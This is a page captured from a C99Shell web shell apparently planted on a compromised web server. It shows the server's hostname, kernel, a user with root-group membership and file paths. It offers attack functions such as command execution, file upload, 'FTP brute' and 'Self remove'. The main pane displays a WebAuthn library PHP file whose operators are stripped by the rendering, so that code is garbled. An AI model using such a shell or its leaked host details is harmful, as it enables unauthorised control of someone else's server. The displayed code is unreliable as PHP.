!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/webauthn-lib/src/   drwxr-xr-x
Free 28.2 GB of 117.98 GB (23.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthenticatorData.php (2.86 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn;

use function 
ord;
use 
Webauthn\AuthenticationExtensions\AuthenticationExtensionsClientOutputs;

/**
 * @see https://www.w3.org/TR/webauthn/#sec-authenticator-data
 */
class AuthenticatorData
{
    private const 
FLAG_UP 0b00000001;
    private const 
FLAG_RFU1 0b00000010;
    private const 
FLAG_UV 0b00000100;
    private const 
FLAG_RFU2 0b00111000;
    private const 
FLAG_AT 0b01000000;
    private const 
FLAG_ED 0b10000000;
    
/**
     * @var string
     */
    
protected $authData;

    
/**
     * @var string
     */
    
protected $rpIdHash;

    
/**
     * @var string
     */
    
protected $flags;

    
/**
     * @var int
     */
    
protected $signCount;

    
/**
     * @var AttestedCredentialData|null
     */
    
protected $attestedCredentialData;

    
/**
     * @var AuthenticationExtensionsClientOutputs|null
     */
    
protected $extensions;

    public function 
__construct(string $authDatastring $rpIdHashstring $flagsint $signCount, ?AttestedCredentialData $attestedCredentialData, ?AuthenticationExtensionsClientOutputs $extensions)
    {
        
$this->rpIdHash $rpIdHash;
        
$this->flags $flags;
        
$this->signCount $signCount;
        
$this->attestedCredentialData $attestedCredentialData;
        
$this->extensions $extensions;
        
$this->authData $authData;
    }

    public function 
getAuthData(): string
    
{
        return 
$this->authData;
    }

    public function 
getRpIdHash(): string
    
{
        return 
$this->rpIdHash;
    }

    public function 
isUserPresent(): bool
    
{
        return 
!== (ord($this->flags) & self::FLAG_UP) ? true false;
    }

    public function 
isUserVerified(): bool
    
{
        return 
!== (ord($this->flags) & self::FLAG_UV) ? true false;
    }

    public function 
hasAttestedCredentialData(): bool
    
{
        return 
!== (ord($this->flags) & self::FLAG_AT) ? true false;
    }

    public function 
hasExtensions(): bool
    
{
        return 
!== (ord($this->flags) & self::FLAG_ED) ? true false;
    }

    public function 
getReservedForFutureUse1(): int
    
{
        return 
ord($this->flags) & self::FLAG_RFU1;
    }

    public function 
getReservedForFutureUse2(): int
    
{
        return 
ord($this->flags) & self::FLAG_RFU2;
    }

    public function 
getSignCount(): int
    
{
        return 
$this->signCount;
    }

    public function 
getAttestedCredentialData(): ?AttestedCredentialData
    
{
        return 
$this->attestedCredentialData;
    }

    public function 
getExtensions(): ?AuthenticationExtensionsClientOutputs
    
{
        return 
null !== $this->extensions && $this->hasExtensions() ? $this->extensions null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--